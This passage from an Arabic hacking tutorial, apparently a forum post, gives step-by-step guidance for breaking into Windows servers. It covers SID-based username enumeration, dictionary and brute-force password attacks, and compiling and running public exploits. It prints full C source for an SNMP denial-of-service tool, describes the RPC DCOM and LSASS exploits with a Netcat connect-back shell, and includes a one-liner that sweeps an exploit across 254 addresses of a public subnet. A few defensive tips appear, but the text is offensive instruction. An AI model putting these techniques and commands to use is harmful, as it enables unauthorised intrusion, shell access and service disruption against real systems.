الآن أصبح C$ على السيرفر وكأنه partition جديد على جهازي يحمل الحرف X .

ولكن ذلك لا يحدث أبدا , لأنه سيكون هناك كلمة سر على share ولن يسمح لك بعمل mapping إلا بعد تقديم password . وعندما تنفذ الأمر يطلب السيرفر منك تقديم كلمة المرور كما يلي :

 

C:\>net use G: \\69.20.11.37\c$

The password is invalid for \\69.20.11.37\c$

 

Type the password for \\69.20.11.37\c$:

System error 1326 has occurred.

 

Logon failure: unknown user name or bad password.

كما نشاهد فقد طلب السيرفر كلمة السر وقمت بكتابة كلمة سر وتم رفضها ولم تنجح العملية .

ذكرت تلك المعلومات لنتعرف على shares في الويندوز , وكيفية استغلال بروتوكول Netbios في عملية الهجوم .

وأكرر , لن ينجح هذا الهجوم أبدا إذا ما حاولت أن تخترق سيرفر لأنه دائما ستكون هناك كلمة سر , دائما بالطبع .

*********************************************************************************

ملاحظة : ما تم ذكره في السابق ينطبق على جميع أنظمة ويندوز المبنية على NT kernel يعني NT+2000+XP+2003

ولكن ماذا لو كنت في شبكة وبها أنظمة dos kernel ويندوز , يعني مثل 95+98+ME , وأردت أن تخترق الموارد المشاركة؟

هناك برنامج خاص لأختراق الموارد المشاركة في تلك الأنظمة يسمى Pqwak , يستغل ثغرة في الطريقة التي تعالج فيها تلك الأنظمة طريقة التحقق من الصحة , وهذا مثال على طريقة إستخدام البرنامج :

وكما ذكرت هذا البرنامج فقط لأنظمة 95+98+ME .

*********************************************************************************

وقبل أن أنهي الحديث عن عملية الفحص, أشير إلى أن كثير من المنافذ تكون مفتوحة في أوقات معينة , وتغلق في أوقات أخرى لذا نتيجة فحص اليوم قد تختلف عن نتيجة فحص أخرى في المستقبل , ولن أخوض كثيرا في السبب وراء ذلك .

أشير إلى أهمية المنفذ 139Tcp  , وفتح هذا المنفذ يشكل خطر أمني كبير , لأنه يمكن المهاجم من جمع الكثير من المعلومات عن السيرفر.

والآن لننتقل إلى عملية banner grabbing , لجميع الخدمات العاملة على السيرفر.

من أشهر الأدوات المستخدمة في هذا المجال هي أداةNetcat  , التي تقوم بانتزاع أرقام منافذ الخدمات العاملة على السيرفر .

ولكن نحن هنا لسنا بحاجة لها, لأن برنامج GFI يقوم بالتقاط Banners أثناء عملية الفحص . وهذا مثال :

 

كشف البرنامج عن نسخة web server وهو IIS/6.0 , ونسخة SMTP وهي 6.0.3790.0 .

كل شيء يمكن أن يكشف عن طريق Netcat , سيظهره لك البرنامج.

 

Three 3: Enumeration

 

ننتقل الآن للخطوة التالية وهي تعداد أسماء المستخدمين وأسماء الخدمات العاملة على السيرفر. هناك الكثير من الأدوات التي يمكن إستخدامها لهذا الغرض ومنها برنامج Superscan وبعض الأدوات مثل الأداتين الشهيرتين user2sid و sid2user .

عملية Enumeration هدفها جمع معلومات عن السيرفر , وهي كثيرة في ويندوز ومنها على سبيل المثال :

 

عن طريق برنامج superScan4.0 , هناك أكثر من 17 هدف يمكن أن نجمع عنها معلومات في النظام. وأيضا لن تستطيع أن تجمع كل المعلومات السابقة في كل الحالات بسبب الحواجز التي تحدثت عنها في السابق.

ننتقل إلى أداتي user2sid و sid2user .

تمكنا تلك الأداتين من معرفة أسماء المستخدمين على السيرفر من خلال كشف SID , الخاص بمستخدم أو مجموعة .

و SID اختصار  Security identifier هو رقم خاص طويل يعطى لكل مستخدم أو مجموعة لتمييزها ضمن domain , ويوجد في داخل ملف Sam . 

الرقم يكون شبيه بالتالي :

S-1-5-21-1170312220-2817258571-3151503675-513

 

تتشابه كل أرقام SID لجميع Security principal ضمن windows Domain , باستثناء الخانة الأخيرة ( كتبتها بالأحمر).

ينتهي رقم Sid لمدير النظام بالرقم 500 , وعن طريقه يمكن معرفة إسم المستخدم لمدير النظام .

إليكم المثال التالي على إستخدام الأداة :

D:\>user2sid \\192.168.0.1 "domain users"

 

S-1-5-21-1170312220-2817258571-3151503675-513

 

Number of subauthorities is 5

Domain is MHD_NETBIOS

Length of SID in memory is 28 bytes

Type of SID is SidTypeGroup

نستخدم الأداة user2sid أولا , لأنه يسهل معرفة أسماء بعض المجموعات الإفتراضية في ويندوز . وفي المثال إستخدمتها لمعرفةSid الخاص بمجموعة domain users الموجودة على السيرفر وتمكنت الأداة من معرفة Sid , وكشفت أن المجموعة السابقة تحوي 5 حسابات ممكنة وكشفت أيضا إسم Domain وطول Sid بالبايت.

إذن لدينا الآن رقم Sid الخاص بحسابات ومجموعات المستخدمين على السيرفر , ويمكن عن طريق الأداة الثانية معرفة إسم حساب مدير النظام على الشكل التالي :

D:\>sid2user \\192.168.0.1 5 21 1170312220 2817258571 3151503675 500

 

Name is admin

Domain is MHD_NETBIOS

Type of SID is SidTypeUser

قمت بكتابة رقم Sid كما هو وغيرت فقط أرقام الخانة الأخيرة وجعلتها 500 ( رقم مدير النظام ) , وقامت الأداة بمعرفة إسم مدير النظام Admin .

لمعرفة باقي أسماء المستخدمين في مجموعة administrators قم بزيادة رقم في الخانة الأخيرة كل مرة , يعني etc…,501,502,, وإذا وجد مستخدم يملك نفس الرقم فستظهره لك الأداة.

ملاحظة : إذا كان الحساب معطل  (Disable) فلن تتمكن الأداة من كشفه. وأشير أيضا إلى أنه من الصعب في كثير من الأحيان الوصول إلى Sid بسبب الكثير من العقبات , وستتلقى رسالة خطأ أن الحساب غير موجود .

أيضا هناك أداة في برامج الدعم إسمها Getsid تؤدي نفس الغرض السابق.

معرفة إسم الحساب لأي مستخدم يمكن أن يشكل خطورة أمنية , بسبب وجود الكثير من البرامج التي تقوم بعمل Brute force

على الحساب لكشف كلمة السر , ومنها برنامج Unsecure الذي يمكن ضبط اعداداته للإتصال على منفذ 21 Ftp وإعطائه إسم حساب المستخدم , للقيام بهجوم حتى كشف كلمة السر , وتبرز خطورة ذلك الأمر بشكل كبير في الشبكات المحلية LAN . انظروا:

هنا قمت بالهجوم على حساب مستخدم يحمل الإسم user-96 , وقمت بالهجوم بالطريقتين المعروفتين وهما :

1-     Dictionary attack.

2-     Brute force attack.

واخترت الأحرف الصغيرة والأرقام في عملية brute force والبدأ بثمانية أحرف كطول لكلمة السر , وقمت بتزويد ملف يحوي آلاف الكلمات لإستخدامها في dictionary attack , وتمكن البرنامج من كشف كلمة السر , وعرضها على الشاشة :

وهناك الكثير مثل هذه البرامج وأحد أفضل البرامج هو برنامج brutus AET لأنه يعطيك الكثير من الإمكانيات وهو سريع جدا في عملية الهجوم.

ملاحظة : يمكن الوقاية من مثل هذه الهجمات عن طريق إعداد سياسة كلمات السر في الويندوز , وضبط عدد محاولات تسجيل الدخول عند 10 محاولات مثلا , يقوم بعدها ويندوز بقفل حساب المستخدم وتعطيله عن العمل , ويتم ذك عن طريق GPO .

 

يمكن أيضا معرفة إسم المستخدم المسجل دخوله على السيرفر أثناء عملية الفحص , عن طريق جدول Netbios name .

لتحقيق ذلك يمكن أن تستخدم عدة أدوات منها ما هو موجود في ويندوز nbtstat أو أداة nbtscan , وهنا مثال على الثانية :

وكما تلاحظون , ظهرت لنا أسماء Netbios للخدمات العاملة , وأيضا لإسم المستخدم المسجل دخوله وهو هنا  Admin

وعرفت ذلك لأن خدمة المسنجر messenger service  تعمل وبسببها يقوم النظام بتسجيل إسم المستخدم في جدول Netbios فإذا وجد لها إسمان , سيكون واحد للجهاز والثاني لإسم المستخدم , يحملان رقم <03> كمعرف لإسم الجهاز والمستخدم.

وهذه صورة أخرى للموقع الذي فحصته في الأعلى :

ملاحظة : يجب أن يكون منفذ TCP 139  مفتوح لتعمل هذه الأدوات.

 

Four 4 : Penetration

 

نأتي الآن لأهم مرحلة في تنفيذ الهجوم , وهي مرحلة الاختراق وتطبيق الثغرات على السيرفر.

هناك أماكن يمكن من خلالها اختراق أي سيرفر إذا ما وجد فيها نقطة ضعف برمجية ومنها :

1-     نظام التشغيل نفسه .

2-     الويب سيرفر web server , وثغرات CGI والمتصفح .

3-     الخدمات التي تعمل على السيرفر.

 

فهذه الأماكن يمكن لك من خلالها إيجاد ثغرة تمكنك من التسلل إلى السيرفر , وبصلاحيات مطلقة.

وهذا يدفعني للحديث عن موضوع الثغرات بشكل عام , ثم الإنتقال لثغرات مايكروسوفت بشكل خاص, ويمكن أن ألخص الموضوع في نقاط سريعة .

 

1-     ما هي الثغرات ؟

2-     أين نجدها ؟

3-     كيف نتعامل معها ؟

4-     كيف نقوم بتشغيلها ؟

 

ما هي الثغرات ؟

·  الثغرة Exploit هي عبارة عن برنامج غالبا ما يكتب بلغة C , تستهدف ضعف برمجي(Vulnerability) في مكان ما في النظام وعند تنفيذها بنجاح تعطي المهاجم صلاحيات على النظام المستهدف تتيح له تنفيذ أوامر عن بعد , وتختلف الصلاحيات التي يحصل عليها المهاجم بحسب الثغرة , فهناك ثغرات تعطي صلاحيات مطلقة وبعضها يعطيك صلاحيات مستخدم عادي على سطر الأوامر أو الشل.

ومنها ما يستخدم في تعطيل السيرفرات ومنعها من الخدمة وهو المعروف ب DOS .

 

هناك نوعين من الثغرات , مصنفة  بحسب المكان الذي تنفذ منه الثغرة :

1-     Local >> run locally while you are inside the box with restricted privileges.

2-     Remote >> run remotely from any where.

النوع الأول ينفذ من داخل السيرفر , ويستهدف رفع صلاحياتك من مستخدم عادي إلى مدير للنظام , وبالطبع يجب أن يكون لديك حساب مستخدم عادي على النظام لتنفيذ مثل هذا النوع من الثغرات, ومنها مثلا utility manager

النوع الثاني ينفذ من بعيد وهو الأخطر والأكثر شيوعا , وغالبا ما يعطي المهاجم صلاحيات Root على السيرفر المستهدف , ومنها مثلا ثغرة RPC .

أيضا أشير إلى آلية عمل الثغرات عن تطبيقها للهجوم على السيرفر , فهناك ثغرات تعطيك حساب على الشل مباشرة مستغلة ضعفا في النظام أو في خدمة معينة (إذا كان منفذها مفتوح) , وهذه أخطر الثغرات ومنها مثلا ثغرة RPC .

وهناك نوع أخر أقل خطورة , يقوم باستغلال ضعف في النظام المستهدف ويقوم بربط حساب للشل على منفذ معين لإنتظار اتصال معاكس مثل ثغرة IIS/SSL, ويمكن تجنب خطورة هذه الثغرات عن طريق Firewall system .

أيضا أشير إلى أن معظم الثغرات تعتمد عند تطبيقها على buffer overflow .

أين نجدها ؟ 

·  بإمكانك إيجاد الثغرات في مواقع الأمن على الإنترنت , فهي منتشرة بكثرة ومن أفضلها :

1-     www.k-otik.com/exploits

2-     www.securityfocus.com

وغيرها الكثير الكثير , وكل ما عليك أن تستخدم محركات البحث لإيجاد الثغرات التي تريدها ومنها google.com

كما أن العلاقات مع هاكرز آخرين هي مصدر مهم وسريع للحصول على ثغرات حديثة وربما خاصة Private , ولذلك يجب أن تؤسس لشبكة من العلاقات توفر عليك الوقت والجهد في عملية البحث.

 

                 كيف نتعامل معها ؟ 

·  إذا زرت مواقع الأمن مثل التي ذكرتها في الأعلى , فإنك ستجد قسم خاص بالثغرات يحوي قائمة بأحدث الثغرات المكتشفة حديثا لأنظمة تشغيل مختلفة , يمكن أن تكون كالتالي :

 

كما نشاهد , فهناك تعليق لكل ثغرة يوضح النظام المستهدف مع تاريخ ظهور الثغرة .

وعند اختيارك لأي منها فإنك  ستشاهد كود برمجي مكتوب غالبا بلغة C , مثل الكود التالي :

                    #include <stdlib.h>

                    #include <string.h>

                    #include <unistd.h>

                    #include <stdio.h>

                    #include <sys/types.h>

                    #include <sys/socket.h>

                    #include <netinet/in.h>

                    #include <fcntl.h>

 

                    unsigned char reserve2_dos[] =

                    "\x30\x27\x02\x01\x00\x04\x06\x70\x75\x62\x6C\x69\x63\x01\x1A\x02"

                    "\x04\x36\x8F\x5D\xEF\x02\x01\x00\x02\x01\x00\x30\x0C\x30\x0A\x06"

                    "\x06\x2B\x06\x01\x02\x01\x01\x05\x00\x00";

 

                    int connectsnmp(char *addy)

                    {

                    struct sockaddr_in sin;

                           int ret;

 

                            sin.sin_addr.s_addr = inet_addr(addy);

                            sin.sin_port = htons(161);

                            sin.sin_family = AF_INET;

 

                                         ret = socket(AF_INET, SOCK_DGRAM, 0);

                            if(connect(ret, (void *)&sin, sizeof(struct sockaddr_in))==-1) {

                                    printf("didn't 'connect'\n");

                                    exit(EXIT_FAILURE);

                            }

                            return ret;

                    }

 

                    int main(int argc, char **argv)

                    {

                                         int sfd;

 

                                         sfd = connectsnmp(argv[1]);

                                         if(write(sfd, reserve2_dos, sizeof(reserve2_dos)) !=

                                                             sizeof(reserve2_dos)) {

                                                             printf("attack failed\n");

                                         }

                                         printf("done.\n");

                    }

لتستطيع تشغيل الثغرة , يجب عليك عمل ترجمة compiling للكود البرمجي لتحصل على ملف ثنائي binary يمكن تشغيله في النظام لديك , وفي ويندوز سينتج لديك ملف تنفيذي له امتداد exe , وهو الذي نستخدمه في عملية الهجوم على السيرفر.

ولترجمة الثغرة تحتاج إلى بيئة برمجية مناسبة Environment workable يمكن أن تعمل عليها , لأنه في كثير من الأحيان تواجه أخطاء في عملية الترجمة .

ولتحقيق ذلك , أنا اقترح أن تعمل في ثلاث بيئات مختلفة لترجمة جميع أنواع ثغرات C وهي :

1-     بيئة ويندوز// قم بتنزيل برنامج مايكروسوفت فيجوال C++, لأنه سيقوم بترجمة الكثير من ثغرات الويندوز بنجاح .

2-     بيئة ويندوز // قم بتنزيل برنامج

Cygwin >> from redhat (it is a mini-Linux OS working under windows Environment)

 فهو يتيح لك العمل في بيئة ويندوز ويعطيك الكثير من إمكانيات لينكس , ويمكن ترجمة الكثير من الثغرات لكلا النظامين هناك .

3-     بيئة يونكس & لينكس // إذا كانت لديك خبرة في اللينكس أو اليونكس , فستحصل على مصدر قوة لأن هذه الأنظمة تحوي إمكانيات برمجية كبيرة .

يمكن أيضا أن تستخدم shell account , فهو مفيد لحل سريع وعلى الرغم من شعبية هذا الحل فأنا أفضل أن تعمل على بيئات العمل الثلاث الأولى, فهي لو أردت يمكن أن تساعدك على تعلم أساسيات البرمجة , كما أنك لست بحاجة للإتصال بالإنترنت لتعمل عليها , وتوفر لك مرونة كبيرة في العمل .

وهناك أيضا بعض المترجمات مثل Borland C++ , digital mars C/C++ وغيرها.

 

وإذا حصلت على ثغرة مكتوبة بلغة بيرل , يمكن أن تقوم بترجمتها وتشغيلها بواسطة برنامج Active perl .

نأتي الآن لكيفية تنفيذ عملية الترجمة في جميع البيئات المختلفة , وهي كالتالي :

·        لترجمة أي كود في برنامج مايكروسوفت visual C++, قم بنسخ الثغرة من الموقع, افتح برنامج Notepad واحفظها في ملف له امتداد .c , وستكون على الشكل التالي :

بعد ذلك إضغط بيمين الفأرة على الملف الذي حفظته بامتداد c واختر open with MSDEV , وسيفتح الملف أمامك , وستكون الشاشة منقسمة إلى قسمين , القسم العلوي يحوي الكود البرمجي والسفلي لنتيجة الترجمة ومعرفة ما إذا كان هناك أخطاء أم لا. 

 

 

 

 

الآن تتم عملية الترجمة , من شريط الأوامر في الأعلى اختر ما يلي :

Build  // compile file name.c

بعد ذلك انظر إلى الأسفل , والمخرجات دائما تكون إما أخطاء Error أو تحذيرات warnings .

فإذا حصلت على مخرجات خالية من الأخطاء مثل  error(s),3 warning(s) 0, فذلك يعني أن عملية الترجمة تمت بشكل صحيح ويمكن تجاهل التحذيرات لأنها لا تؤثر على عملية الترجمة . بعد ذلك يجب أن نقوم ببناء الملف الثنائي ويمكن عمل ذلك عن طريق ضغط زر F7 مباشرة بعد عملية الترجمة أو الذهاب إلى :

Build // build file name.exe

أيضا إذا لم تحصل على أي أخطاء , فسيتم إنشاء ملف تنفيذي له امتداد exe في داخل مجلد يسمى debug موجود في نفس المكان الذي وضعت به الملف الذي له امتداد .C ,ويحمل نفس اسم ملف الثغرة الذي قمت بحفظه بامتداد .c وأيضا يمكن تجاهل أي تحذيرات تنتج من عملية البناء للملف.

ملاحظة : في كثير من الأحيان ستحصل على أخطاء في عملية الترجمة , وهنا يجب أن يكون لديك إلمام ولو بسيط بلغة C لتصحيح الكود البرمجي, أو لإضافة ملفات الهيدرز التي لها الإمتداد  .h وملفات المكتبات .lib في حال لم تكون موجودة, فهذه الملفات يجب أن تتواجد لعملية ترجمة صحيحة.

وأود أن أشير إلى أن معظم الأخطاء إن وجدت تكون بسيطة ويمكن تصحيحها لأنها أخطاء نحوية في كتابة الكود وليست أخطاء منطقية في بنية الكود نفسه , ويتعمد كاتبوا هذه الثغرات في إحداث مثل هذه الأخطاء ليصعب على بعض الصغار الذي لا يفقهون كثيرا أن يستخدموا الثغرة في عملية تخريبية , وهي قضية جدلية في الولايات المتحدة داخل الوسط التكنولوجي المهتم بالأمن حيث يعتقد البعض أن مثل هذه الثغرات يجب ألا تنشر , ويخالف البعض بالقول أن نشرها سيؤدي إلى تطوير في عمليات البرمجة في ما يتعلق بالأمن . يمكن أيضا أن تترجم الكود من سطر الأوامر بعد تنصيب برنامج visual C++ عن طريق الأمر

C:\cl filename.c

 هذا بالنسبة لبرنامج مايكروسوفت visual C++ .

·  بالنسبة لبيئةCygwin تترجم الثغرات عن طريق الأمر الشهير وهو:

gcc filename.c –o filename

·        وفي بيئة لينكس / يونكس , سنستخدم نفس الأمر السابق في البيئة الثانية .

 

كيف نقوم بتشغيلها ؟

بعد عملية الترجمة سينشأ ملف ثنائي وهو الذي يستخدم في عملية الإختراق , ويمكن تشغيله في الويندوز من سطر الأوامر أو من الشل في اللينكس مثله مثل أي أمر في الدوس أو الشل. ولنأخذ مثال ثغرة RPC :

ضع مثلا الملف على D:\ ومن سطر الأوامر تنفذ الثغرة كالتالي على فرض أن اسم ملف الثغرة RPC :

D:\RPC

سيظهر لك بعدها طريقة استعمال الثغرة usage , وهذا تقريبا ثابت في كل الثغرات حيث تظهر الطريقة التي يجب أن تطبق بها الثغرة , وستشاهد شيء شبيه بما يلي :

RPC DCOM exploit coded by .:[oc192.us]:. Security

Usage:

 

rpc -d <host> (options(

Options:

        -d:             Hostname to attack (Required(

        -t:             Type (Default: 0(

        -r:             Return address (Default: Selected from target)

        -p:             Attack port (Default: 135)

        -l:             Bindshell port (Default: 666)

 

Types:

        0 x0018759f]: [Win2k-Universal}

        1 x0100139d]: [WinXP-Universal}

وكمثال على تطبيق الثغرة , يمكن أن ننفذ الأمر التالي للهجوم على موقع ما :

D:\rpc –d victem IP –t 1

أما إذا أردت تشغيلها من Cygwin أو اللينكس فاكتب الأمر التالي :

$ ./file name

هذا بالنسبة لثغرات C , أما بالنسبة لثغرات perl فبعد تنصيب برنامج Active perl اذهب إلى الدوس واكتب :

Perl filename.pl or you can type "filename.pl"

 

  هذا كل شيء بالنسبة للثغرات . بقي أن أشير إلى أن هناك بعض نقاط الضعف يمكن إستغلالها من المتصفح مباشرة , أي أنها عبارة عن عنوان URL , يكتب مباشرة في المتصفح ويمكن أن تؤدي إلى كشف بعض الملفات الخطيرة التي لا يفترض أن يصل إليها المستخدم العادي مثل ملف كلمات السر .

أيضا أشير إلى أن هناك نقاط ضعف في بعض الأنظمة ولكن لا يمكن لنا إستغلالها وذلك لعدم توفر ثغرة exploit لها .

We are indeed script kiddies as long as we use the exploits of others.

*******************************************************************************

نأتي الآن للحديث عن ثغرات مايكروسوفت بشكل خاص.

كما نعرف جميعا هناك ثغرات شائعة لمنتجات مايكروسوفت ( للنظام أو للويب سيرفر ) ومن أشهرها ثغرة RPC التي سببت الكوارث لمايكروسوفت عن طريق فايروس بلاستر , وهناك أيضا ثغرات اليونيكود الخاصة  بالويب سيرفر IIS/5.0+5.1

والكثير غيرها من الثغرات .

بالنسبة لثغرة  RPC فيمكن استخدامها لجميع إصدارات الويندوز المبنية على NT Kernel مثل 2003-XP-2000-NT .

 

ولكن ثغرة RPC أصبحت قديمة جدا , ومن الصعب تماما بل مستحيل أن تجد أحد السيرفرات أو حتى جهاز مستخدم عادي مصاب بهذه الثغرة , والسبب هو وجود فايروس بلاستر الذي يقوم بإعادة تشغيل الجهاز , وبالتالي فتركيب الرقعة لهذه الثغرة ليس سببه في كثير من الأحيان لدوافع الأمن ولكن لأن الجهاز لن يعمل ببساطة وترقيع الثغرة أمر حتمي لا بد منه .

 

أيضا ثغرات اليونيكود , أصبحت قديمة جدا لأنها شاعت كثيرا واستخدمت من قبل الهاكرز بشكل واسع جدا , وبالتالي أدى إلى أن يقوم الجميع بترقيع الثغرة , وبالمناسبة فقد تم اختراق موقع مايكروسوفت في هولندا بهذه الثغرة عام 2001. وأشير إلى أن الويب سيرفر IIS/5.0 هو أحد أسوأ منتجات مايكروسوفت فيما يتعلق بالأمن , وله سمعة سيئة جدا ولا يخلو جزء منه من ضعف أو ثغرة. ولذلك قامت مايكروسوفت بعمل تغيير ثوري وجذري في IIS/6.0 , ويمكن أن نقول أنه ويب سيرفر جديد مختلف تماما عن القديم وليس امتدادا له إن على مستوى الأمن أو على مستوى الأداء والسرعة , فقد قامت مايكروسوفت بنقل عمل معالج بروتوكول http في IIS/6.0 من User mode  إلى kernel mode وهذا يجعل السرعة تتضاعف بشكل كبير. كما وأنه وحتى الآن لايوجد أي public Exploit للويب سيرفر IIS/6.0 على حد عملي , على الرغم من ظهور بعض الثغرات ولكنه بقي صامدا وهو يتمتع بسمعة جيدة في الوسط التكنولوجي على الأقل حتى الآن وهذا دليل على مستوى الأمن المتقدم فيه.

 

فإذن علينا أن نبحث عن ثغرات حديثة , يمكن أن نجد مواقع مصابة بها , وهذا يتطلب متابعة قريبة وشبه يومية لمواقع الأمن على الإنترنت .

ملاحظة : تصدر مايكروسوفت نشرة أمنية تحمل رقم معين تعالج فيه ثغرة أو عدة ثغرات اكتشفت في أحد منتجاتها .

ومثال على هذه الأرقام MS04-018 , ومعناها أن التحديث رقم 18 في عام 2004 .

 

وكما شاهدنا في عملية الفحص فقد تعرفنا على نظام التشغيل والخدمات العاملة على السيرفر بأرقامها , ويبقى الآن تحليل النتائج ومعرفة الثغرات التي يمكن إستخدامها لإختراق السيرفر .

واختصارا للوقت , يمكن لبرنامج GFI أن يعرض لك جميع security bulletins , وآخرها إذا كنت قد قمت بعمل تحديث مستمر للبرنامج , ويشرح لك مكان وجود الثغرة ويسرد الأنظمة المصابة بها وهذه صورة لتوضيح ذلك :

 

 

اضغط بعدها على أي ثغرة لتعرف تفاصيل أكثر , على سبيل المثال :

 

 

فكما شاهدنا في الأعلى شرح للثغرة , وفي الأسفل الأنظمة المصابة بها .

كل ما عليك بعد ذلك أن تجد الثغرة المناسبة وتقوم بتجربتها على السيرفر . وأود أن أشير إلى أن معظم نقاط الضعف التي إكتشفت في العام الحالي لم يظهر لها public exploits على الأقل حتى الآن .

 

لا يمكن الحديث عن اختراق أي سيرفر من دون الحديث عن أداة Netcat .

 

فهذه الأداة مذهلة , متعددة الوظائف, صغيرة في الحجم 60KB , ونسخة الويندوز منها تعمل من دون أي ملفات إضافية مثل ملفات DLL أو OCX أو غيرها من مكتبات الربط الديناميكي , وهذا يعطيها مرونة كبيرة جدا. لن أخوض في شرح الأداة ولكن يمكن لهذه الأداة أن تقوم بالوظائف التالية :

1-      يمكن أن تستخدمها كأداة فحص   Scanner .

2-      يمكن أن تستخدمها كباك دور   backdoor .

3-      يمكن أن تستخدمها في نقل البيانات   Data transfer .

4-      يمكن أن تستخدمها في التقاط البانرات للخدمات العاملة على السيرفر   banner grabbing .

5-      يمكن أن تستخدمها في الاستماع لمنفذ معين لإستقبال إتصال معاكس , وهذه مهمة جدا وتستخدم في كثير من

    ثغرات الويندوزListen for inbound connections

6- يمكن أن تستخدمها في اتصال مباشر مع UDP+TCP Ports .

ولها أيضا عدة وظائف أخرى و يستفيد منها الخبراء بشكل كبير.

وسأورد الآن أحد الأمثلة التي نستخدم فيها Netcat لتطبيق ثغرة  على windows server

كما قلنا هدف الثغرات إعطائك صلاحيات مطلقة لعمل ما تريد على السيرفر.

ملاحظة: من الشائع أن أقوى حساب في أنظمة مايكروسوفت هو حساب مدير النظام administrator , وهذا القول غير دقيق.

يوجد حساب للنظام يسمى system account , وهو الذي تعمل تحته كل الخدمات في النظام, وهو حساب غير تقليدي بمعنى أنه خاص بالنظام وليس المستخدم كما أنه لايوجد له كلمة سر ولا يستخدم في تسجيل الدخول إلى النظام , وهو أقوى حساب في ويندوز على الإطلاق, وهو الذي تحصل عليه عند تطبيق معظم الثغرات.

يعالج التحديث رقم MS04-011 مجموعة كبيرة من الثغرات حسب مايكروسوفت وهي :

·         LDAP Vulnerability (CAN-2003-0663) – A denial of service (DoS) threat

·         PCT Vulnerability– A buffer overrun allow an attacker to take over a vulnerable system

·         Winlogon Vulnerability– A buffer overrun allows remote execution of arbitrary code

·         Help and Support Vulnerability (CAN-2003-0907) – A remote code execution threat

·         Utility Manager Vulnerability (CAN-2003-0908) – A privilege elevation threat

·         Windows Management Vulnerability (CAN-2003-0909) – A privilege elevation threat

·         Negotiate SSP Vulnerability –A buffer overrun allow an attacker to take over a vulnerable system

·         SSL Vulnerability (CAN-2004-0120) – A DoS threat

·         ASN.1 “Double Free” Vulnerability (CAN-2004-0123) – A DoS threat

·         LSASS Vulnerability – A buffer overrun allows remote execution of arbitrary code

·         Metafile Vulnerability – A buffer overrun allows remote execution of arbitrary code

·         H.323 Vulnerability (CAN-2004-0117) – A remote code execution threat

·         Local Descriptor Table Vulnerability (CAN-2003-0910) – A privilege elevation threat

·         Virtual DOS Machine Vulnerability (CAN-2004-0118) – A privilege elevation threat

 

أحد هذه الثغرات هي الثغرة التي تقوم بعمل buffer overflow على الدالة Lsasrv.dll وأيضا عن طريق RPC وتعطيك  shell بصلاحيات system account على النظام.

I think these guys have got to re-code their RPC stuff from the scratch.  keep in mind, dave cutler is still there

ملاحظة : هذه الثغرة أيضا لن تنفع لأنها هي نفسها التي استغلها فايروس ساسر Sasser وضرب بها ملايين الأجهزة على مستوى العالم , ولكن أشرحها هنا لأغراض تعليمية مع العلم أنه لو جدت جهاز لم يركب الرقعة فستعمل بشكل صحيح.

جميع أنظمة الويندوز باستثناء windows server 2003 مصابة بهذه الثغرة .

ولنفترض أن هناك windows server مصاب بهذه الثغرة , فكيف يمكن تطبيق الثغرة على السيرفر؟

 

الشرح يفترض أنك ستعمل من الدوس, ورغم أن الشرح التالي مطبق على شبكة محلية LAN , فإنه بالضبط ما يحصل

 في الواقع, ولا يوجد أي فرق.

تحتاج لتطبيق هذه الثغرة برنامج Netcat , الذي سيقوم بانتظار اتصال معاكس على منفذ أنت تحدده واستقبال الشل الذي ستحصل عليه بعد تطبيق الثغرة ..

قم بفتح سطري أوامر في وقت واحد , واحد لإستقبال الشل عن طريق Netcat , والآخر لتطبيق الثغرة كالتالي :

1-     هنا استخدمنا النت كات لعملية listening على المنفذ 666

 

 

 2-  هنا قمنا بتطبيق الثغرة والهجوم على الهدف

Windows 2000 advanced Server SP4

 

وللتوضيح سأذكر الأن الصيغة الكاملة لتطبيق الثغرة على افتراض أن إسم الثغرة lasserok :

Lasserok <target> <victim IP> <bindport> [connectback IP] [options]

 

وكما تشاهدون , تم الهجوم بنجاح والنتيجة هي التالي :

 

Finally , thanx God we are in!!!!!

نجحت الثغرة نحن الآن داخل النظام المستهدف وحصلنا على سطر أوامر وبصلاحيات مطلقة . ويمكن بعدها أن تنفذ أمر whoami إذا كان السيرفر 2003 أو كان الهدف XP ويجب أن تحصل على التالي :

***********************************************************************************

ملاحظة : كما قلت الثغرة تعتبر ميتة الآن بسبب الفيروس ,الذي أدى إلى ترقيع على مستوى واسع لجميع الأجهزة , كما أشير إلى أن الثغرة لن تعمل إذا كان الهدف يشغل firewall ويغلق المنفذ رقم (TCP)445 الذي يستعمل للهجوم. وهناك firewall بسيط في ويندوز يمكن أن يحميك من هذه الثغرة وثغرة RPC من دون تركيب الرقعة الأمنية , فاحرص على تشغيله دائما .

 

 ولكن وربما وأنت تقرأ هذه السطور تظهر ثغرة جديدة فيجب أن تكون مستعد من كل النواحي

وأتمنى من أي واحد يعثر على ثغرة "جديدة" أن يزودني بها وإيميلي آخر المشاركة.           

***********************************************************************************

ملاحظة : لو وجدت شبكة تحوي مجموعة من سيرفرات ويندوز , يعني مثلا كالتالي :

69.20.11.1 Windows server 2003

69.20.11.2 Windows server 2000

69.20.11.3 Windows server 2003

69.20.11.4 Windows 2000 advanced server ….. Up until 254

69.20.11.254 windows server 2003

يمكن أن تنفذ الأمر التالي الذي سيقوم بتجربة الثغرة السابقة على مجموعة عناويين من 1-254 دفعة واحدة :

For /l %I in (1,1,254) do lasserok 2 69.20.11.%I 666 your_IP_address

وهذا الأمر يمكن أن تستخدمه في جميع الثغرات . وكما شاهدتم استخدمت أمر for لعمل loop ثم حددت المتغير الذي سيكون الرقم الأخير في IP address . أمر for معقد جدا حتى لكثير ممن لديهم الخبرة , والأمر السابق تمت كتابته بعد مجهود وقراءة من قبل أحد أصدقائي , لذا أرجو عدم نقله وأخذه على الجاهز من دون الإشارة لكاتبه الأصلي MJM

الكتابة باللون الأصفر هي صيغة الثغرة السابقة , قم بتغيرها بصيغة الثغرة الموجودة لديك واكتب الباقي كما هو.

أشير إلى أن أهمية هذا الأمر تظهر عندما تحاول اختراق أجهزة مستخدمين XP-2000 وهذا ما سأتحدث عنه في الجزء الثاني من المشاركة بإذن الله تعالى.

الثغرة السابقة تنفذ من بعيد يعني Remote exploit , والآن لنأخذ مثال على ثغرة تنفذ من داخل السيرفر يعني local exploit

هذا النوع من الثغرات يستهدف رفع صلاحيات المستخدم من مستخدم عادي إلى مدير للنظام للسيطرة على الهدف .

This type of exploits intend to some thing called privilege escalation, leading to full control of the box

أحد هذه الثغرات هي أيضا التي تعالجها النشرة السابقة رقم 11-04 MS , وتقوم بعمل Buffer overflow على الأداة lsass.exe

